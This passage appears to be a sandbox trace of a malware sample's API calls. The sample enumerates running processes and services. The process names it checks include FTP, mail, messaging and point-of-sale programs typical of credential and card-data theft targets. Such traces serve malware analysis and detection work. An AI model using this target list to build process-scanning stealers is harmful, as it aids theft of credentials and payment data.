	[0088.954] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0088.955] lstrlenW (lpString="feb.exe") returned 7
	[0088.955] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0088.956] lstrlenW (lpString="citizenship.exe") returned 15
	[0088.956] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0088.956] lstrlenW (lpString="wifi.exe") returned 8
	[0088.956] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0088.957] lstrlenW (lpString="3dftp.exe") returned 9
	[0088.957] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0088.957] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0088.957] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0088.958] lstrlenW (lpString="alftp.exe") returned 9
	[0088.958] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0088.959] lstrlenW (lpString="barca.exe") returned 9
	[0088.959] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0088.960] lstrlenW (lpString="bitkinex.exe") returned 12
	[0088.960] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0088.961] lstrlenW (lpString="coreftp.exe") returned 11
	[0088.961] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0088.962] lstrlenW (lpString="far.exe") returned 7
	[0088.962] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0088.963] lstrlenW (lpString="filezilla.exe") returned 13
	[0088.963] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0088.964] lstrlenW (lpString="flashfxp.exe") returned 12
	[0088.964] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0088.965] lstrlenW (lpString="fling.exe") returned 9
	[0088.965] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0088.966] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0088.966] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0088.967] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0088.967] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0088.968] lstrlenW (lpString="icq.exe") returned 7
	[0088.968] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0088.969] lstrlenW (lpString="leechftp.exe") returned 12
	[0088.969] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0088.970] lstrlenW (lpString="ncftp.exe") returned 9
	[0088.970] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0088.971] lstrlenW (lpString="notepad.exe") returned 11
	[0088.971] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0088.972] lstrlenW (lpString="operamail.exe") returned 13
	[0088.972] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0088.973] lstrlenW (lpString="pidgin.exe") returned 10
	[0088.973] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0088.974] lstrlenW (lpString="scriptftp.exe") returned 13
	[0088.974] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0088.981] lstrlenW (lpString="skype.exe") returned 9
	[0088.982] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0088.987] lstrlenW (lpString="smartftp.exe") returned 12
	[0088.987] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0088.998] lstrlenW (lpString="thunderbird.exe") returned 15
	[0088.998] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0088.999] lstrlenW (lpString="totalcmd.exe") returned 12
	[0088.999] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0089.000] lstrlenW (lpString="trillian.exe") returned 12
	[0089.000] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0089.001] lstrlenW (lpString="webdrive.exe") returned 12
	[0089.001] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0089.001] lstrlenW (lpString="whatsapp.exe") returned 12
	[0089.001] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0089.002] lstrlenW (lpString="winscp.exe") returned 10
	[0089.002] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0089.003] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0089.003] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0089.004] lstrlenW (lpString="active-charge.exe") returned 17
	[0089.004] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0089.005] lstrlenW (lpString="accupos.exe") returned 11
	[0089.005] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0089.006] lstrlenW (lpString="afr38.exe") returned 9
	[0089.006] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0089.756] lstrlenW (lpString="aldelo.exe") returned 10
	[0089.756] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0089.757] lstrlenW (lpString="ccv_server.exe") returned 14
	[0089.757] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0089.758] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0089.758] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0089.759] lstrlenW (lpString="creditservice.exe") returned 17
	[0089.759] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0089.759] lstrlenW (lpString="edcsvr.exe") returned 10
	[0089.759] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0089.760] lstrlenW (lpString="fpos.exe") returned 8
	[0089.760] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0089.761] lstrlenW (lpString="isspos.exe") returned 10
	[0089.761] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0089.762] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0089.762] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0089.762] lstrlenW (lpString="omnipos.exe") returned 11
	[0089.763] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0089.763] lstrlenW (lpString="spcwin.exe") returned 10
	[0089.763] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0089.764] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0089.764] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0089.765] lstrlenW (lpString="utg2.exe") returned 8
	[0089.765] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0089.765] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0089.765] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0089.766] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0089.766] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0089.767] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0089.767] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0089.768] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0089.768] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0089.768] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0089.768] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0089.769] lstrlenW (lpString="taskhostw.exe") returned 13
	[0089.769] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0089.770] lstrlenW (lpString="taskhostw.exe") returned 13
	[0089.770] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0089.770] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0089.770] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0089.771] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0089.771] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0089.772] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0089.772] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0089.773] lstrlenW (lpString="UsoClient.exe") returned 13
	[0089.774] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0089.775] lstrlenW (lpString="conhost.exe") returned 11
	[0089.775] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0089.775] lstrlenW (lpString="conhost.exe") returned 11
	[0089.775] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.776] lstrlenW (lpString="svchost.exe") returned 11
	[0089.776] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0089.777] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0089.777] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.777] lstrlenW (lpString="svchost.exe") returned 11
	[0089.777] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0089.778] lstrlenW (lpString="cmd.exe") returned 7
	[0089.778] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0089.779] lstrlenW (lpString="conhost.exe") returned 11
	[0089.779] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0089.779] lstrlenW (lpString="dllhost.exe") returned 11
	[0089.779] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0089.780] lstrlenW (lpString="mode.com") returned 8
	[0089.780] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0089.780] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0089.780] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0
	[0089.781] CloseHandle (hObject=0x380) returned 1
	[0089.781] Sleep (dwMilliseconds=0x1f4) 
	[0090.665] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53eec8
	[0090.666] EnumServicesStatusExW (in: hSCManager=0x53eec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0090.667] GetLastError () returned 0xea
	[0090.667] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ddc) returned 0x3195700
